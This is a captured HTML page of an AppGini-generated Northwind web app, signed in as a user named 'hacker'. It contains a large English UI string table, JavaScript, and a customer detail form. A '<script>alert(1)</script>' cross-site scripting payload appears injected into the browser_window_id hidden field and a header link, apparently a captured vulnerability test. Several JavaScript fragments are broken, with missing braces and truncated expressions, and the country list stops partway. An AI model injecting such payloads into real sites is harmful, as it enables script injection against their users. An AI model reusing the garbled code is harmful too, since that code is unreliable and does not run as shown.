"empty user": "Please type a username in the box first then click 'Check availability'.",
"thanks": "Thank you for signing up!",
"sign in no approval": "If you have chosen a group that doesn't require admin approval, you can sign in right now <a href=index.php?signIn=1>here</a>.",
"sign in wait approval": "If you have chosen a group that requires admin approval, please wait for an email confirming your approval.",
"username empty": "You must provide a username. Please go back and type a username",
"password invalid": "You must provide a password of 4 characters or more, without spaces. Please go back and type a valid password",
"password no match": "Password doesn't match. Please go back and correct the password",
"username exists": "Username already exists. Please go back and choose a different username.",
"email invalid": "Invalid email address. Please go back and correct your email address.",
"group invalid": "Invalid group. Please go back and correct the group selection.",
"sign up here": "Sign Up Here!",
"registered? sign in": "Already registered? <a href=index.php?signIn=1>Sign in here</a>.",
"sign up disabled": "Sorry! Sign-up is temporarily disabled by admin. Try again later.",
"groups *": "If you choose to sign up to a group marked with an asterisk (*), you won't be able to log in until the admin approves you. You'll receive an email when you are approved.",
"sign up": "Sign Up",
"password reset": "Password Reset Page",
"password reset details": "Enter your username or email address below. We'll then send a special link to your email. After you click on that link, you'll be asked to enter a new password.",
"password reset subject": "Password reset instructions",
"password reset message": "Dear member, n If you have requested to reset/change your password, please click on this link: n <ResetLink> nn If you didn't request a password reset/change, please ignore this message. nn Regards.",
"password reset ready": "An email with password reset instructions has been sent to your registered email address. Please follow the instructions in that email message.<br><br>If you don't receive this email within 5 minutes, try resetting your password again, and make sure you enter a correct username or email address.",
"password reset invalid": "Invalid username or password. <a href=membership_passwordReset.php>Try again</a>, or go <a href=index.php>back to homepage</a>.",
"password change": "Password Change Page",
"new password": "New password",
"password reset done": "Your password was changed successfully. You can <a href=index.php?signOut=1>log in with the new password here</a>.",
"Loading ...": "Loading ...",
"No records found": "No records found",
"You can add children records after saving the main record first": "You can add child records after saving the main record first",
"ascending": "Ascending",
"descending": "Descending",
"then by": "Then by",
"Legend": "Legend",
"Table": "Table",
"Edit": "Edit",
"View": "View",
"Only your own records": "Only your own records",
"All records owned by your group": "All records owned by your group",
"All records": "All records",
"Not allowed": "Not allowed",
"Your info": "Your info",
"Hello user": "Hello %s!",
"Your access permissions": "Your access permissions",
"Update profile": "Update profile",
"Update password": "Update password",
"Change your password": "Change your password",
"Old password": "Old Password",
"Password strength: weak": "Password strength: weak",
"Password strength: good": "Password strength: good",
"Password strength: strong": "Password strength: strong",
"Wrong password": "Wrong password",
"Your profile was updated successfully": "Your profile was updated successfully",
"Your password was changed successfully": "Your password was changed successfully",
"Your IP address": "Your IP address",
"Records to display": "Records to display",
"Setup Data": "Setup Data",
"Database Information": "Database Information",
"Admin Information": "Admin Information",
"setup intro 1": "There doesn't seem to be a configuration file. This is necessary for the application to work.<br><br>This setup page will help you create that file. But in some server configurations this might not work. In that case you might need to adjust the folder permissions, or create the config file manually.",
"setup intro 2": "Welcome to your new AppGini application! Before getting started, we need some information about your database. You will need to know the following before proceeding:<ol><li>Database server (host)</li><li>Database name</li><li>Database username</li><li>Database password</li></ol>The above items were probably supplied to you by your web hosting provider. If you do not have this information, then you will need to contact them or refer to their service documentation before you can continue here. If you're ready, let's start!",
"setup finished": "<b>Success!</b><br><br>Your AppGini application has been installed. Here are some suggestions to begin using it:",
"setup next 1": "Start using your application to add data, or work with existing data, if any.",
"setup next 2": "Import existing data into your application from a CSV file.",
"setup next 3": "Go to the admin homepage where you can change many other application settings.",
"db_name help": "The name of the database you want to run your AppGini application in.",
"db_server help": "<i>localhost</i> works on most servers. If not, you should be able to get this info from your web hosting provider.",
"db_username help": "Your MySQL username",
"db_password help": "Your MySQL password",
"username help": "Specify the admin username you'd like to use to access the admin area. Must be four characters or more.",
"password help": "Specify a strong password to access the admin area.",
"email help": "Enter the email address where you want admin notifications to be sent.",
"Continue": "Continue ...",
"Lets go": "Let's go!",
"Submit": "Submit",
"Hide": "Hide help",
"Database info is correct": "✓ Database info is correct!",
"Database connection error": "✗ Database connection error!",
"The following errors occurred": "The following errors occurred",
"failed to create config instructions": "This is most probably due to folder permissions that are set to prevent creating files by your web server. Don't worry! You can still create the config file manually.<br><br>Just paste the following code into a text editor and save the file as "config.php", then upload it using FTP or any other method to the folder %s on your server.",
"Only show records having filterer": "Only show records where %s is %s",
"You don't have enough permissions to delete this record": "You don't have enough permissions to delete this record",
"Couldn't delete this record": "Couldn't delete this record",
"The record has been deleted successfully": "The record has been deleted successfully",
"Couldn't save changes to the record": "Couldn't save changes to the record",
"Couldn't save the new record": "Couldn't save the new record",
"More": "More",
"Confirm deleting multiple records": "Confirm deleting multiple records",
"<n> records will be deleted. Are you sure you want to do this?": "<n> records will be deleted. Are you sure you want to do this?",
"Yes, delete them!": "Yes, delete them!",
"No, keep them.": "No, keep them.",
"Deleting record <i> of <n>": "Deleting record <i> of <n>",
"Delete progress": "Delete progress",
"Show/hide details": "Show/hide details",
"Connection error": "Connection error",
"Add more actions": "Add more actions",
"Update progress": "Update progress",
"Change owner": "Change owner",
"Updating record <i> of <n>": "Updating record <i> of <n>",
"Change owner of <n> selected records to": "Change owner of <n> selected records to",
"username invalid": "Username <MemberID> already exists or is invalid. Make sure you provide a username containing 4 to 20 valid characters.",
"permalink": "Permalink",
"invalid provider": "Invalid provider!",
"invalid url": "Invalid URL!",
"cant retrieve coordinates from url": "Can't retrieve coordinates from URL!",
"unique field error": "This value already exists or is invalid. Please make sure to specify a unique valid value.",
"show all user records from table": "Show all records of this user from "<tablename>" table",
"show all group records from table": "Show all records of this group from "<tablename>" table",
"email this user": "Email this user",
"email this group": "Email this group",
"last modified": "Last modified",
"record has no owner": "This record has no assigned owner. You can assign an owner from the admin area.",
"admin-only info": "The above info is displayed because you are currently signed in as the super admin. Other users won't see this.",
"discard changes confirm": "Discard changes to this record?",
"hide/show columns": "Hide/Show columns",
"next column": "Next column",
"previous column": "Previous column",
"hide all": "Hide all",
"toggle": "Toggle",
"datetimepicker locale": "en",
"account token theft warning": "Someone might have been trying to access your account by stealing your cookie-based access token. As a precaution, you have been logged out and are required to re-enter your login credentials to sign in.",
"group added successfully": "Group added successfully",
"group updated successfully": "Changes to this group saved successfully",
"saved filter link": "Saved filter link",
"app documentation": "App documentation",
"back to top": "Back to top",
"check all": "Check all",
"uncheck all": "Uncheck all",
"invert checks": "Invert checks",
"set all to x": "Set all to <x>",
"tip check csv for errors": "Tip: you can check if your CSV file contains errors using <a href="" target="_blank"></a>",
"keyboard shortcuts": "Keyboard shortcuts",
"keyboard shortcuts disabled": "Keyboard shortcuts are disabled",
"keyboard shortcuts enabled": "Keyboard shortcuts are enabled",
"Enable": "Enable",
"Disable": "Disable",
"display this help window": "Display this help window",
"close this window": "Close this window",
"open x navigation menu": "Open <b><x></b> navigation menu",
"user profile": "User profile",
"clear search": "Clear search",
"navigate between sections of page": "Navigate between sections of page",
"open admin info menu": "Open Admin Information menu",
"navigate between sections of child records": "Navigate between sections of child records",
"old php version": "You're using PHP version <PHP_VERSION>. The minimum version supported by this app is <minPHP>. Please upgrade PHP, or install the app on another server.",
"extension not enabled": "This app can't run because <EXTENSION> extension is not enabled. Please enable it in your php.ini configuration file, restart the web server, then retry.",
"error reading csv file": "Error reading CSV file. Please make sure the file exists, and CSV settings are correct.",
"clean csv dir error": "Couldn't create or read/write to "import-csv" directory.",
"Invalid import job": "Invalid import job",
"Previous record": "Previous record",
"Next record": "Next record",
"job in progress by another process": "Job already in progress by another process",
"invalid clean csv file": "Clean CSV file invalid, unreadable, or not yet ready",
"invalid csv map": "Invalid CSV field mapping",
"invalid field separator": "Invalid field separator",
"import csv file": "Import CSV data to a table",
"import another csv file": "Import another CSV file",
"file upload error": "Error uploading file",
"to use tab": "To use TAB as field separator, type TAB",
"field qualifier": "Field qualifier (wrapper)",
"auto-detect csv columns": "Automatically detect CSV columns based on selected table.",
"nothing to import": "There is nothing to import. Please select at least one column to import.",
"multiple columns mapped to same field": "You can't import multiple columns to the same field.",
"uploading in x seconds": "Uploading starts in [SECONDS] seconds.",
"cancel and back to csv upload": "Cancel and choose a different CSV file",
"confirm importing csv": "Confirm importing CSV data to selected table",
"total records": "Total records",
"imported records": "Imported records",
"remaining": "Remaining",
"ETA": "ETA",
"import finished": "Import finished. You can access imported records in the specified table.",
"import job taking long keep page open permalink": "This import job seems to be taking some time. You can keep this page open and continue working in another tab. We also recommend copying the link below so you can resume importing later if anything goes wrong.",
"pause": "Pause",
"resume": "Resume",
"new": "New",
"updated": "Updated",
"skipped": "Skipped",
"fast import mode": "Fast import mode (faster import, but less accurate stats, and record ownership set after importing)",
"assign owner for n records in table": "Assign owner for [n] records without owners in this table",
"no update missing pk field in csv": "Updating is disabled because there is no primary key field specified in the CSV file, or you don't have edit access to this table.",
"no insert update only": "You don't have permission to insert new records into this table. Only updates are allowed.",
"allow importing CSV files": "Allow importing CSV files",
"description of import CSV files option": "This option allows user(s) to import CSV files into tables where they have insert or edit permissions.",
"admin group attention": "Attention! This is the admin group.",
"toggle import logs": "Show/hide import logs",
"admin csv warning": "This page will be removed in future versions and you should use [a]the new import CSV page[/a] instead.",
"Jump to": "Jump to ...",
"check username availability": "Check if this username is available",
"try rebuild fields": "You could try fixing this issue from the Admin Area : Utilities menu : View/Rebuild Fields.",
"click continue if slow": "If this page is taking too long to load, [a]click continue[/a] to proceed.",
"keyboard shorcuts reference": "Keyboard shortcuts reference",
"google API key": "Google API key",
"google API key instructions": "How to get and configure your Google API key?",
"base upload path": "Base upload path",
"base upload path change warning": "If you change the base upload path, existing uploaded files/images will not be accessible from the app until moving them to the new upload path.",
"base upload path instructions": "The path were uploaded files/images are to be stored. The path is assumed to be relative to the app path, but you can start it with <code>../</code> to specify a path outside the app.",
"invalid upload path": "Specified base upload path does not exists and could not be created.",
"Appearance": "Appearance",
"Mail": "Mail",
"Preconfigured users and groups": "Preconfigured users and groups",
"Application": "Application",
"Query logs": "Query logs",
"Query log table does not exist": "There was an error while attempting to create appgini_query_log table. Please make sure the database user has CREATE TABLE privilege.",
"slow queries": "Slow queries",
"error queries": "Error queries",
"date/time": "Date/time",
"duration (sec)": "Duration (sec)",
"page address": "Page address",
"query": "Query",
"page x of y": "Page <x> of <y>",
"total # queries": "Total # queries.",
"Interactive SQL queries tool": "Interactive SQL queries tool",
"Enter SQL query": "Enter SQL query",
"Query must start with select": "Query must start with %s",
"Display results": "Display results",
"Update results as you type": "Update results as you type",
"Use cache": "Use cache",
"results truncated": "Results below might have been truncated to a limit of %s records for performance purposes.",
"Results will be displayed here": "Results will be displayed here.",
"Bookmark this query": "Bookmark this query",
"Query name": "Query name",
"Manage bookmarked queries": "Manage bookmarked queries",
"continue browsing as guest": "Continue browsing as a guest",
"translation tool": "Translation tool",
"query logs older than 2 month auto cleared": "Query logs older than 2 months are automatically cleared. You can manually clear logs through the clear buttons below.",
"clear slow queries": "Clear slow queries",
"clear error queries": "Clear error queries",
"confirm clear logs": "This will clear specified query logs. Please confirm!",
"query logs cleared": "<TYPE> query logs cleared.",
"unicode error": "Unicode misconfiguration",
"unicode needs fixing": "The unicode encoding for the database and/or some tables needs to be fixed.",
"unicode fix details": "Tables encoded using the utf8 encoding will be adjusted to the more superior utf8mb4 encoding, which supports all unicode character sets.",
"fix unicode": "Fix unicode",
"Messages": "Messages",
"mysql port": "MySQL port",
"db_port help": "If MySQL is using a different port than the default %s, enter it above.",
"checking database info": "Checking database info ...",
"if error persists check query log": "If the error persists below, please check the query error log for more details",
"send mail to too many members": "You are sending an email to too many members. This could take a lot of time and affect your server performance. If you have a huge number of members, we don't recommend sending an email to all of them at once.",
"n recipients": "%s recipients",
"messages plugin cta": "Escape the email chaos. Experience the power of efficient communication with the Messages Plugin for AppGini.",
"update calculated fields": "Update calculated fields",
"no tables with calculated fields": "No tables with calculated fields were found.",
"description for updating calculated fields": "This tool allows you to update calculated fields in all records across all tables, which is useful in various scenarios. For instance, you might want to use this tool if you've added a new calculated field and need to populate it for existing records, changed the formula of a calculated field and need to update all records accordingly, or imported new records into one or more tables.",
"cli tool for updating calculated fields": "There is also a command-line tool for updating calculated fields. This is very handy if you want to automate the process of updating calculated fields, for instance by adding a cron job to run the command-line tool periodically. For help on using the command-line tool, please run the following command in your terminal:",
"start updating": "Start updating",
"captcha label": "Please enter the characters you see in the image",
"Explore more plugins": "Explore more plugins",
"Install a plugin": "Install a plugin",
"invalid order number": "Invalid order number",
"invalid order login": "Could not find an order with the specified order number and email address.",
"order number": "Order Number",
"view available plugins": "View available plugins",
"plugin check instructions": "Please enter your email address and order number below to check for available plugins.",
"no plugins available": "No plugins available for this order number.",
"install selected plugins": "Install selected plugins",
"select plugins to install": "Select plugins to install",
"plugins install progress": "Install progress",
"already installed": "already installed on %s (check to re-install)",
"plugin install failed": "Plugin installation failed!",
"plugin installed successfully": "Plugin installed successfully! Click to launch.",
"missing dependencies": "Errors or missing dependecies found",
"fix record owners": "Fix record owners",
"record owner not configured for this table": "Record owner is not configured for this table.",
"start": "Start",
"fixing record owners": "Fixing record owners ...",
"number of runs": "Number of runs",
"no tables to fix record owners": "No tables have record owners configured. Nothing to fix.",
"fix record owners description": "This tool enables you to update the record owners for pre-existing records in tables that have record owners configured. This is useful when you have recently configured record owners for one or more tables and wish to apply the updated configuration to the existing records.",
"records updated:": "Records updated: ",
"ldap disable user signup": "Disable (only admins can add users)",
"ldap settings": "LDAP settings",
"login method": "Login method",
"default": "Default",
"ldap": "LDAP",
"ldap server": "LDAP server",
"ldap version": "LDAP version",
"ldap username prefix": "LDAP username prefix",
"ldap username suffix": "LDAP username suffix",
"ldap default user group": "Default user group for new LDAP users",
"Examples: ": "Examples: ",
"Example: ": "Example: ",
"ldap admin user warning": "Before enabling LDAP login, make sure the admin username %s exists in the LDAP server. Otherwise, you will not be able to sign in as admin.",
"SQL": "SQL",
"click to copy": "Click to copy",
"copied": "Copied!",
"db server status": "Database server status",
"db client status": "Database client status",
"date and time info": "Date and time info",
"language": "english"
_encoding: 'UTF-8',
apply: () => {
// find elements with data-translate attribute that don't have .translated class
const contentEls = document.querySelectorAll('[data-translate]:not(.translated)');

// find elements with data-title attribute that don't have .translated class
const titleEls = document.querySelectorAll('[data-title]:not(.translated)');

// abort if no elements found
if(!contentEls.length && !titleEls.length) return;

// translate content of elements that have data-translate attribute
contentEls.forEach(el => {
const key = el.getAttribute('data-translate');
if(!key) return;

const translation = AppGini.Translate._map[key];
if(!translation) return;

el.innerHTML = translation;

// translate title of elements that have data-title attribute
titleEls.forEach(el => {
const key = el.getAttribute('data-title');
if(!key) return;

const translation = AppGini.Translate._map[key];
if(!translation) return;

el.setAttribute('title', translation);

AppGini.config = {"imgFolder":"images/","url":"http://localhost/fetuygulama/app/","uri":"fetuygulama/app"} </script>

<script src="common.js?1716373920"></script>
<script src="shortcuts.js?1716373920"></script>

<div class="users-area container theme-bootstrap theme-compact">

<nav class="navbar navbar-default navbar-fixed-top hidden-print" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<!-- application title is obtained from the name besides the yellow database icon in AppGini, use underscores for spaces -->
<a class="navbar-brand" href="index.php"><i class="glyphicon glyphicon-home"></i> Northwind</a>
<div class="collapse navbar-collapse">
<ul class="nav navbar-nav"> <li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Sales <b class="caret"></b></a>
<ul class="dropdown-menu" role="menu"><li><a href="customers_view.php?t=1717511688"><img src="resources/table_icons/account_balances.png" height="32"> Customers</a></li><li><a href="orders_view.php?t=1717511688"><img src="resources/table_icons/cash_register.png" height="32"> Orders</a></li></ul>
</li> <li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Operations <b class="caret"></b></a>
<ul class="dropdown-menu" role="menu"><li><a href="employees_view.php?t=1717511688"><img src="resources/table_icons/administrator.png" height="32"> Employees</a></li><li><a href="products_view.php?t=1717511688"><img src="resources/table_icons/handbag.png" height="32"> Products</a></li><li><a href="categories_view.php?t=1717511688"><img src="resources/table_icons/award_star_bronze_1.png" height="32"> Product Categories</a></li><li><a href="suppliers_view.php?t=1717511688"><img src="resources/table_icons/car.png" height="32"> Suppliers</a></li><li><a href="shippers_view.php?t=1717511688"><img src="resources/table_icons/cart.png" height="32"> Shippers</a></li></ul>

<ul class="nav navbar-nav">
<a href="import-csv.php" class="btn btn-default navbar-btn hidden-xs btn-import-csv" title="Import CSV data to a table"><i class="glyphicon glyphicon-th"></i> Import CSV data</a>
<a href="import-csv.php" class="btn btn-default navbar-btn visible-xs btn-lg btn-import-csv" title="Import CSV data to a table"><i class="glyphicon glyphicon-th"></i> Import CSV data</a>

<ul class="nav navbar-nav navbar-right hidden-xs">
<!-- logged user profile menu -->
<li class="dropdown" title="Signed in as hacker">
<a href="#" class="dropdown-toggle profile-menu-icon" data-toggle="dropdown"><i class="glyphicon glyphicon-user icon"></i><span class="profile-menu-text">hacker</span><b class="caret"></b></a>
<ul class="dropdown-menu profile-menu">
<li class="user-profile-menu-item" title="Your info">
<a href="membership_profile.php"><i class="glyphicon glyphicon-user"></i> <span class="username">hacker</span></a>
<li class="keyboard-shortcuts-menu-item" title="Keyboard shortcuts" class="hidden-xs">
<a href="#" class="help-shortcuts-launcher">
<img src="resources/images/keyboard.png">
Keyboard shortcuts </a>
<li class="sign-out-menu-item" title="Sign Out">
<a href="index.php?signOut=1"><i class="glyphicon glyphicon-log-out"></i> Sign Out</a>
<ul class="nav navbar-nav visible-xs">
<a class="btn navbar-btn btn-default btn-lg visible-xs" href="index.php?signOut=1"><i class="glyphicon glyphicon-log-out"></i> Sign Out</a>
<p class="navbar-text text-center signed-in-as">
Signed in as <strong><a href="membership_profile.php" class="navbar-link username">hacker</a></strong>
/* periodically check if user is still signed in */
setInterval(function() {
url: 'ajax_check_login.php',
success: function(username) {
if(!username.length) window.location = 'index.php?signIn=1';
}, 60000);
<div style="min-height: 70px;" class="hidden-print top-margin-adjuster"></div>

<div class="notifcation-placeholder" id="notifcation-placeholder-25134715"></div>
$j(function() {
if(window.show_notification != undefined) return;

window.show_notification = function(options) {
var dismiss_class = '';
var dismiss_icon = '';
var cookie_name = 'hide_notification_' +;
var notif_id = 'notifcation-' + Math.ceil(Math.random() * 1000000);

/* apply provided notficiation id if unique in page */
if( != undefined) {
if(!$j('#' + notif_id =;

/* notifcation should be hidden? */
if(localStorage.getItem(cookie_name) != undefined) return;

/* notification should be dismissable? */
if(options.dismiss_seconds > 0 || options.dismiss_days > 0) {
dismiss_class = ' alert-dismissible';
dismiss_icon = '<button type="button" class="close" data-dismiss="alert">&times;</button>';

/* remove old dismissed notficiations */

/* append notification to notifications container */
'<div class="alert alert-' + options['class'] + dismiss_class + '" id="' + notif_id + '">' +
dismiss_icon +
options.message +

var this_notif = $j('#' + notif_id);

/* dismiss after x seconds if requested */
if(options.dismiss_seconds > 0) {
setTimeout(function() { this_notif.addClass('invisible'); }, options.dismiss_seconds * 1000);

/* dismiss for x days if requested and user dismisses it */
if(options.dismiss_days > 0) {
var ex_days = options.dismiss_days;
this_notif.on('', function() {
/* set a cookie not to show this alert for ex_days */
localStorage.setItem(cookie_name, '1');

<div id="notification-2030419736" class="alert alert-dismissable alert-success" style="opacity: 1; padding-top: 6px; padding-bottom: 6px; animation: fadeIn 1.5s ease-out; z-index: 100; position: relative;">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
The new record has been saved successfully.
$j(function() {
var autoDismiss = true,
embedded = !$j('nav').length,
messageDelay = 10, fadeDelay = 1.5;

if(!autoDismiss) {
$j('#notification-2030419736').before('<div class="modal-top-spacer"></div>');
$j('#notification-2030419736').css({ margin: '0 0 1rem' });


// below code runs only in case of autoDismiss

$j('#notification-2030419736').css({ margin: '1rem 0 -1rem' });
$j('#notification-2030419736').css({ margin: '-15px 0 -20px' });

setTimeout(function() {
$j('#notification-2030419736').css({ animation: 'fadeOut ' + fadeDelay + 's ease-out' });
}, messageDelay * 1000);

setTimeout(function() {
$j('#notification-2030419736').css({ visibility: 'hidden' });
}, (messageDelay + fadeDelay) * 1000);
@keyframes fadeIn {
0% { opacity: 0; }
100% { opacity: 1; }
@keyframes fadeOut {
0% { opacity: 1; }
100% { opacity: 0; }

<style>.profile-menu-text { display: inline; }</style> <!-- Add header template below here .. -->

<div class="row has-calculated-fields"><div class="col-xs-12"><form enctype="multipart/form-data" method="post" name="myform" action="customers_view.php"><input type="hidden" name="browser_window_id" value="0d76e64e70f5"><script>alert(1)</script>0d76e64e70f5" /><input type="hidden" id="csrf_token" name="csrf_token" value="ff797eca52d44fef1e51b765f0e0bbf5"><script>function enterAction() { if($j("input[name=SearchString]:focus").length) { $j("#Search").click(); } return false;}</script><input id="EnterAction" type="submit" style="visibility: hidden; position: fixed; left: 0px; top: -250px;" onclick="return enterAction();"><div class="page-header"><h1><a style="text-decoration: none; color: inherit;" href="customers_view.php?browser_window_id=0d76e64e70f5"><script>alert(1)</script>0d76e64e70f5"><img src="resources/table_icons/account_balances.png"> Customers</a> <button type="submit" id="addNew" name="addNew_x" value="1" class="btn btn-success"><i class="glyphicon glyphicon-plus-sign"></i> Add New</button></h1></div><!-- possible values for current_view: TV, TVP, DV, DVP, Filters, TVDV --><input name="current_view" id="current_view" value="DV" type="hidden"><input name="SortField" value="" type="hidden"><input name="SelectedID" value="3" type="hidden"><input name="SelectedField" value="" type="hidden"><input name="SortDirection" type="hidden" value=""><input name="FirstRecord" type="hidden" value="1"><input name="NoDV" type="hidden" value=""><input name="PrintDV" type="hidden" value=""><input name="DisplayRecords" value="all" type="hidden"><div data-table="customers" class="col-xs-12 table-customers detail_view "><div class="panel panel-default"><!-- To change the layout of the detail view form, we recommend using JS code in hooks/customers-dv.js rather than editing this file -->

<div id="detail-view"></div>
<div class="panel-heading"><h3 class="panel-title"><strong>Detail View</strong></h3></div>

<div id="customers_dv_container-loading" class="text-center text-info text-bold vspacer-lg"><i class="glyphicon glyphicon-refresh loop-rotate"></i> Loading ...</div>

<div class="panel-body hidden" id="customers_dv_container">
<!-- child links -->
<div class="row vspacer-md">
<div class="col-xs-12 children-links">
<a class="hidden-xs btn btn-default btn-lg pull-right hidden hspacer-sm vspacer-sm" href="orders_view.php?filterer_CustomerID=3&" id="orders_link"><img src="resources/table_icons/cash_register.png"> Orders</a>
<a class="visible-xs btn btn-default btn-lg btn-block hidden vspacer-sm" href="orders_view.php?filterer_CustomerID=3&" id="xs_orders_link"><img src="resources/table_icons/cash_register.png"> Orders</a>
<input type="hidden" id="orders_hclink" value="orders_view.php?filterer_CustomerID=3&">
<div class="clearfix"></div>
<hr class="hidden-xs hidden-sm">

<div class="row">
<!-- form inputs -->
<div class="col-md-8 col-lg-10" id="customers_dv_form">
<fieldset class="form-horizontal">

<!-- Field: Company Name -->
<div class="form-group customers-CompanyName">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="CompanyName">Company Name<span class="text-danger">*</span></label>
<div class="col-lg-9">
<input maxlength="40" type="text" class="form-control" name="CompanyName" id="CompanyName" value="fetkali" required>

<!-- Field: Customer ID -->
<div class="form-group customers-CustomerID">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="CustomerID">Customer ID<span class="text-danger">*</span></label>
<div class="col-lg-9">
<input maxlength="5" type="text" class="form-control" name="CustomerID" id="CustomerID" value="3" required><div class="text-danger vspacer-md" id="CustomerID-uniqueness-note" style="display: none;">This value already exists or is invalid. Please make sure to specify a unique valid value.</div>

<!-- Field: Contact Name -->
<div class="form-group customers-ContactName">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="ContactName">Contact Name</label>
<div class="col-lg-9">
<input maxlength="30" type="text" class="form-control" name="ContactName" id="ContactName" value="fetkali">

<!-- Field: Contact Title -->
<div class="form-group customers-ContactTitle">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="ContactTitle">Contact Title</label>
<div class="col-lg-9">
<input maxlength="30" type="text" class="form-control" name="ContactTitle" id="ContactTitle" value="fetkali">

<!-- Field: Address -->
<div class="form-group customers-Address">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="Address">Address</label>
<div class="col-lg-9">
<textarea class="form-control" name="Address" id="Address" rows=" 5">fetkali</textarea>

<!-- Field: City -->
<div class="form-group customers-City">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="City">City</label>
<div class="col-lg-9">
<input maxlength="15" type="text" class="form-control" name="City" id="City" value="fetkali">

<!-- Field: Region -->
<div class="form-group customers-Region">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="Region">Region</label>
<div class="col-lg-9">
<input maxlength="15" type="text" class="form-control" name="Region" id="Region" value="fetkali">

<!-- Field: Postal Code -->
<div class="form-group customers-PostalCode">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="PostalCode">Postal Code</label>
<div class="col-lg-9">
<input maxlength="10" type="text" class="form-control" name="PostalCode" id="PostalCode" value="fetkali">

<!-- Field: Country -->
<div class="form-group customers-Country">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="Country">Country</label>
<div class="col-lg-9">
<select style="width: 100%;" name="Country" id="Country">
<option value="">&nbsp;</option>
<option value="Afghanistan" >Afghanistan</option>
<option value="Albania" >Albania</option>
<option value="Algeria" >Algeria</option>
<option value="American Samoa" >American Samoa</option>
<option value="Andorra" >Andorra</option>
<option value="Angola" >Angola</option>
<option value="Anguilla" >Anguilla</option>
<option value="Antarctica" >Antarctica</option>
<option value="Antigua, Barbuda" >Antigua, Barbuda</option>
<option value="Argentina" >Argentina</option>
<option value="Armenia" >Armenia</option>
<option value="Aruba" >Aruba</option>
<option value="Australia" >Australia</option>
<option value="Austria" >Austria</option>
<option value="Azerbaijan" >Azerbaijan</option>
<option value="Bahamas" >Bahamas</option>
<option value="Bahrain" >Bahrain</option>
<option value="Bangladesh" >Bangladesh</option>
<option value="Barbados" >Barbados</option>
<option value="Belarus" >Belarus</option>
<option value="Belgium" >Belgium</option>
<option value="Belize" >Belize</option>
<option value="Benin" >Benin</option>
<option value="Bermuda" >Bermuda</option>
<option value="Bhutan" >Bhutan</option>
<option value="Bolivia" >Bolivia</option>
<option value="Bosnia, Herzegovina" >Bosnia, Herzegovina</option>
<option value="Botswana" >Botswana</option>
<option value="Bouvet Is." >Bouvet Is.</option>
<option value="Brazil" >Brazil</option>
<option value="Brunei Darussalam" >Brunei Darussalam</option>
<option value="Bulgaria" >Bulgaria</option>
<option value="Burkina Faso" >Burkina Faso</option>
<option value="Burundi" >Burundi</option>
<option value="Cambodia" >Cambodia</option>
<option value="Cameroon" >Cameroon</option>
<option value="Canada" >Canada</option>
<option value="Canary Is." >Canary Is.</option>
<option value="Cape Verde" >Cape Verde</option>
<option value="Cayman Is." >Cayman Is.</option>
<option value="Central African Rep." >Central African Rep.</option>
<option value="Chad" >Chad</option>
<option value="Channel Islands" >Channel Islands</option>
<option value="Chile" >Chile</option>
<option value="China" >China</option>
<option value="Christmas Is." >Christmas Is.</option>
<option value="Cocos Is." >Cocos Is.</option>
<option value="Colombia" >Colombia</option>
<option value="Comoros" >Comoros</option>
<option value="Congo, D.R. Of" >Congo, D.R. Of</option>
<option value="Congo" >Congo</option>
<option value="Cook Is." >Cook Is.</option>
<option value="Costa Rica" >Costa Rica</option>
<option value="Croatia" >Croatia</option>
<option value="Cuba" >Cuba</option>
<option value="Cyprus" >Cyprus</option>
<option value="Czech Republic" >Czech Republic</option>
<option value="Denmark" >Denmark</option>
<option value="Djibouti" >Djibouti</option>
<option value="Dominica" >Dominica</option>
<option value="Dominican Republic" >Dominican Republic</option>
<option value="Ecuador" >Ecuador</option>
<option value="Egypt" >Egypt</option>
<option value="El Salvador" >El Salvador</option>
<option value="Equatorial Guinea" >Equatorial Guinea</option>
<option value="Eritrea" >Eritrea</option>
<option value="Estonia" >Estonia</option>
<option value="Ethiopia" >Ethiopia</option>
<option value="Falkland Is." >Falkland Is.</option>
<option value="Faroe Is." >Faroe Is.</option>
<option value="Fiji" >Fiji</option>
<option value="Finland" >Finland</option>
<option value="France" >France</option>
<option value="French Guiana" >French Guiana</option>
<option value="French Polynesia" >French Polynesia</option>
<option value="French Territories" >French Territories</option>
<option value="Gabon" >Gabon</option>
<option value="Gambia" >Gambia</option>
<option value="Georgia" >Georgia</option>
<option value="Germany" >Germany</option>
<option value="Ghana" >Ghana</option>
<option value="Gibraltar" >Gibraltar</option>
<option value="Greece" >Greece</option>
<option value="Greenland" >Greenland</option>
<option value="Grenada" >Grenada</option>
<option value="Guadeloupe" >Guadeloupe</option>
<option value="Guam" >Guam</option>
<option value="Guatemala" >Guatemala</option>
<option value="Guernsey" >Guernsey</option>
<option value="Guinea-bissau" >Guinea-bissau</option>
<option value="Guinea" >Guinea</option>
<option value="Guyana" >Guyana</option>
<option value="Haiti" >Haiti</option>
<option value="Heard, Mcdonald Is." >Heard, Mcdonald Is.</option>
<option value="Honduras" >Honduras</option>
<option value="Hong Kong" >Hong Kong</option>
<option value="Hungary" >Hungary</option>
<option value="Iceland" >Iceland</option>
<option value="India" >India</option>
<option value="Indonesia" >Indonesia</option>
<option value="Iran" >Iran</option>
<option value="Iraq" >Iraq</option>
<option value="Ireland" >Ireland</option>
<option value="Israel" >Israel</option>
<option value="Italy" >Italy</option>
<option value="Ivory Coast" >Ivory Coast</option>
<option value="Jamaica" >Jamaica</option>
<option value="Japan" >Japan</option>
<option value="Jersey" >Jersey</option>
<option value="Jordan" >Jordan</option>
<option value="Kazakhstan" >Kazakhstan</option>
<option value="Kenya" >Kenya</option>
<option value="Kiribati" >Kiribati</option>
<option value="Korea, D.P.R Of" >Korea, D.P.R Of</option>
